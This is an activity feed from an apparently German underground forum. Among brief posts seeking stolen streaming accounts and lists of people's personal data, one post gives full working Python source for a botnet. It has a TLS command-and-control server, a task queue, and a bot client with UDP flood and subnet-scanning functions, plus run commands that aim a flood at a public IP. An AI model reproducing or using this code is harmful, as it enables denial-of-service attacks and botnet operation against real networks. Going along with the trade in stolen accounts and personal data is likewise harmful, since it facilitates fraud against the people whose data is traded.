Jump to content

All Activity

This stream auto-updates

  1. Past hour
  2. This topic is protected by a password!
    You must enter the correct topic password to gain access to this topic. Please ensure that your browser is capable of storing temporary cookies.
  3. So wie als Doktor an seinen Patienten herumfummeln ?
  4. hat wer sein tester schon versendet bekommen?
  5. Today
  6. Bitte mich als 3 jährigen dauerkondumenten als Tester an. liebe Grüße
  7. Was sehr viel und jahrelange Erfahrung mit, biete im Gegenzug ausführliches Feedback und würde auch 5€ rübersenden. Ich werde nicht enttäuschen und dein Verkauf ankurbeln ;)
  8. Suche Acounts u.a RTL+ Waipu TV Joyn Plus WOW SKY DAZN Meldet euch per PN oder Jabber am besten direkt Preise mitschreiben [email protected]
  9. This topic is protected by a password!
    You must enter the correct topic password to gain access to this topic. Please ensure that your browser is capable of storing temporary cookies.
  10. This topic is protected by a password!
    You must enter the correct topic password to gain access to this topic. Please ensure that your browser is capable of storing temporary cookies.
  11. John1314

    G13

    This topic is protected by a password!
    You must enter the correct topic password to gain access to this topic. Please ensure that your browser is capable of storing temporary cookies.
  12. This topic is protected by a password!
    You must enter the correct topic password to gain access to this topic. Please ensure that your browser is capable of storing temporary cookies.
  13. Das doch kein Botnetz, das ist eher Marketing für die Bäckerei Hackergpt.app Es fehlt hier alles was überhaupt ein Bot ausmacht. Die ganze Klassen, Binary pro Architektur, Persistenz, Autostart, Wiederverbindung, Protokoll, Resilienz, Logik, Update, Überwachung und und und Es gibt keine Zentrale, kein C&C, der Ablauf ist leer dafür hätte man jetzt keine KI gebraucht Hier mal ne vorlage für ein einfachen C2 gesteuerter Netzwerkagent mit DoS und Scan-Funktion openssl req -x509 -newkey rsa:2048 -nodes -keyout key.pem -out cert.pem -days 365 -subj "/CN=c2" openssl x509 -in cert.pem -noout -fingerprint -sha256 cnc #!/usr/bin/env python3 import asyncio, hmac, json, os, secrets, sqlite3, ssl, time DB = "botnet.db" PSK = os.environ.get("CNC_PSK", "change-me").encode() LEASE = 600 HTTP_PORT = 8080 db = sqlite3.connect(DB, isolation_level=None, check_same_thread=False) db.executescript(""" PRAGMA journal_mode=WAL; CREATE TABLE IF NOT EXISTS bots(id TEXT PRIMARY KEY, ip TEXT, arch TEXT, os TEXT, ver TEXT, status TEXT, last_seen REAL); CREATE TABLE IF NOT EXISTS tasks(id INTEGER PRIMARY KEY AUTOINCREMENT, type TEXT, target TEXT, port INTEGER, dur INTEGER, state TEXT, bot_id TEXT, leased_until REAL, created REAL); CREATE TABLE IF NOT EXISTS results(id INTEGER PRIMARY KEY AUTOINCREMENT, task_id INTEGER, host TEXT, port INTEGER, ts REAL); """) def claim(bot_id): now = time.time() row = db.execute("SELECT id,type,target,port,dur FROM tasks WHERE state='queued' OR (state='running' AND leased_until<?) ORDER BY id LIMIT 1", (now,)).fetchone() if not row: return None db.execute("UPDATE tasks SET state='running', bot_id=?, leased_until=? WHERE id=?", (bot_id, now + LEASE, row[0])) return row def requeue(bot_id): db.execute("UPDATE tasks SET state='queued', bot_id=NULL, leased_until=NULL WHERE bot_id=? AND state='running'", (bot_id,)) def upsert_bot(bid, ip, h): db.execute("""INSERT INTO bots(id,ip,arch,os,ver,status,last_seen) VALUES(?,?,?,?,?,'online',?) ON CONFLICT(id) DO UPDATE SET ip=excluded.ip, arch=excluded.arch, os=excluded.os, ver=excluded.ver, status='online', last_seen=excluded.last_seen""", (bid, ip, h.get("arch", ""), h.get("os", ""), h.get("ver", ""), time.time())) async def handle(reader, writer): ip = writer.get_extra_info("peername")[0] try: hello = json.loads(await asyncio.wait_for(reader.readline(), 15)) except Exception: writer.close() return if not hmac.compare_digest(str(hello.get("key", "")).encode(), PSK): print(f"! abgelehnt: {ip}") writer.close() return bid = hello.get("id") or secrets.token_hex(8) upsert_bot(bid, ip, hello) print(f"+ {bid[:8]} von {ip} ({hello.get('arch')})") try: while True: row = claim(bid) if not row: await asyncio.sleep(3) continue tid, typ, target, port, dur = row writer.write((json.dumps({"op": "task", "task_id": tid, "type": typ, "target": target, "port": port, "dur": dur}) + "\n").encode()) await writer.drain() print(f" -> {tid} {typ} an {bid[:8]}") while True: line = await asyncio.wait_for(reader.readline(), LEASE) if not line: raise ConnectionError m = json.loads(line) if m.get("op") == "result": db.execute("INSERT INTO results(task_id,host,port,ts) VALUES(?,?,?,?)", (tid, m.get("host"), m.get("port"), time.time())) print(f" offen: {m.get('host')}:{m.get('port')}") elif m.get("op") == "ack": db.execute("UPDATE tasks SET state='done' WHERE id=?", (tid,)) print(f" <- {tid} erledigt") break except Exception as e: print(f" ! {bid[:8]}: {type(e).__name__}") finally: requeue(bid) db.execute("UPDATE bots SET status='offline' WHERE id=?", (bid,)) writer.close() print(f"- {bid[:8]} weg, Tasks zurueck in die Warteschlange") async def sweeper(): while True: await asyncio.sleep(30) db.execute("UPDATE tasks SET state='queued', bot_id=NULL, leased_until=NULL WHERE state='running' AND leased_until<?", (time.time(),)) async def http(reader, writer): await reader.readline() rows = db.execute("SELECT id,type,target,port,state,bot_id FROM tasks ORDER BY id DESC LIMIT 50").fetchall() bots = db.execute("SELECT id,ip,arch,status FROM bots ORDER BY last_seen DESC LIMIT 50").fetchall() hits = db.execute("SELECT task_id,host,port FROM results ORDER BY id DESC LIMIT 50").fetchall() h = ["<meta charset=utf-8><style>body{font:13px monospace}td{padding:2px 8px}</style><h3>Bots</h3><table>"] h += [f"<tr><td>{b[0][:8]}</td><td>{b[1]}</td><td>{b[2]}</td><td>{b[3]}</td></tr>" for b in bots] h += ["</table><h3>Tasks</h3><table>"] h += [f"<tr><td>{r[0]}</td><td>{r[1]}</td><td>{r[2]}:{r[3]}</td><td>{r[4]}</td></tr>" for r in rows] h += ["</table><h3>Treffer</h3><table>"] h += [f"<tr><td>{x[0]}</td><td>{x[1]}:{x[2]}</td></tr>" for x in hits] h.append("</table>") body = "".join(h).encode() writer.write(b"HTTP/1.1 200 OK\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: " + str(len(body)).encode() + b"\r\n\r\n" + body) await writer.drain() writer.close() async def main(): ctx = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) ctx.load_cert_chain("cert.pem", "key.pem") srv = await asyncio.start_server(handle, "0.0.0.0", 6667, ssl=ctx) web = await asyncio.start_server(http, "127.0.0.1", HTTP_PORT) asyncio.create_task(sweeper()) print(f"C2 auf 6667 (TLS), Status auf http://127.0.0.1:{HTTP_PORT}") async with srv, web: await asyncio.gather(srv.serve_forever(), web.serve_forever()) if __name__ == "__main__": asyncio.run(main()) task #!/usr/bin/env python3 import sys, sqlite3, time db = sqlite3.connect("botnet.db", isolation_level=None) db.execute("INSERT INTO tasks(type,target,port,dur,state,created) VALUES(?,?,?,?,'queued',?)", (sys.argv[1], sys.argv[2], int(sys.argv[3]), int(sys.argv[4]), time.time())) print("eingereiht:", db.execute("SELECT last_insert_rowid()").fetchone()[0]) bot #!/usr/bin/env python3 import os, json, time, socket, random, hashlib, threading, ipaddress, platform, ssl, concurrent.futures VERSION = "0.3" C2 = [("127.0.0.1", 6667)] PSK = os.environ.get("CNC_PSK", "change-me") FINGERPRINT = "HIER_SHA256_FINGERPRINT_EINTRAGEN" BACKOFF_MAX = 300 LOCK = threading.Lock() def bot_id(): seed = (platform.node() + platform.machine()).encode() return hashlib.sha256(seed).hexdigest()[:16] class Line: def __init__(self, s): self.s = s self.buf = b"" def read(self): while b"\n" not in self.buf: chunk = self.s.recv(4096) if not chunk: return None self.buf += chunk line, self.buf = self.buf.split(b"\n", 1) return json.loads(line) def connect(): ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE for host, port in C2: try: raw = socket.create_connection((host, port), timeout=10) s = ctx.wrap_socket(raw) fp = hashlib.sha256(s.getpeercert(True)).hexdigest() if fp.lower() != FINGERPRINT.lower().replace(":", ""): raise ssl.SSLError("fingerprint") return s except Exception: continue return None def send(s, obj): with LOCK: s.sendall((json.dumps(obj) + "\n").encode()) def udp_flood(target, port, dur): end = time.time() + (dur or 10) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) payload = os.urandom(1024) while time.time() < end: sock.sendto(payload, (target, port)) def smb_spread(s, task_id, target, port, dur): end = time.time() + (dur or 600) hosts = [str(h) for h in ipaddress.ip_network(target, strict=False).hosts()] def check(h): if time.time() > end: return c = socket.socket() c.settimeout(1.5) try: c.connect((h, port)) send(s, {"op": "result", "task_id": task_id, "host": h, "port": port}) except Exception: pass finally: c.close() with concurrent.futures.ThreadPoolExecutor(max_workers=64) as ex: list(ex.map(check, hosts)) def handle(s, msg): t = msg.get("type") if t == "UDP_FLOOD": udp_flood(msg["target"], msg["port"], msg["dur"]) elif t == "SMB_SPREAD": smb_spread(s, msg.get("task_id"), msg["target"], msg["port"], msg["dur"]) def run(): delay = 1 while True: s = connect() if not s: time.sleep(delay) delay = min(delay * 2, BACKOFF_MAX) continue delay = 1 try: send(s, {"op": "hello", "key": PSK, "id": bot_id(), "arch": platform.machine(), "os": platform.system(), "ver": VERSION}) reader = Line(s) while True: msg = reader.read() if not msg: break handle(s, msg) send(s, {"op": "ack", "task_id": msg.get("task_id")}) except Exception: pass finally: s.close() time.sleep(1 + random.random()) if __name__ == "__main__": run() Cooking export CNC_PSK=$(openssl rand -hex 16) python3 cnc.py scp bot.py key.pem user@vps:/opt/bot/ python3 bot.py python3 task.py UDP_FLOOD 9.9.9.9 80 30
  14. habt Ihr noch ELV listen rumfliegen? mit Vorname Name geburtstag telefon und email dann meldet euch gerne
  1. Load more activity
×
×
  • Create New...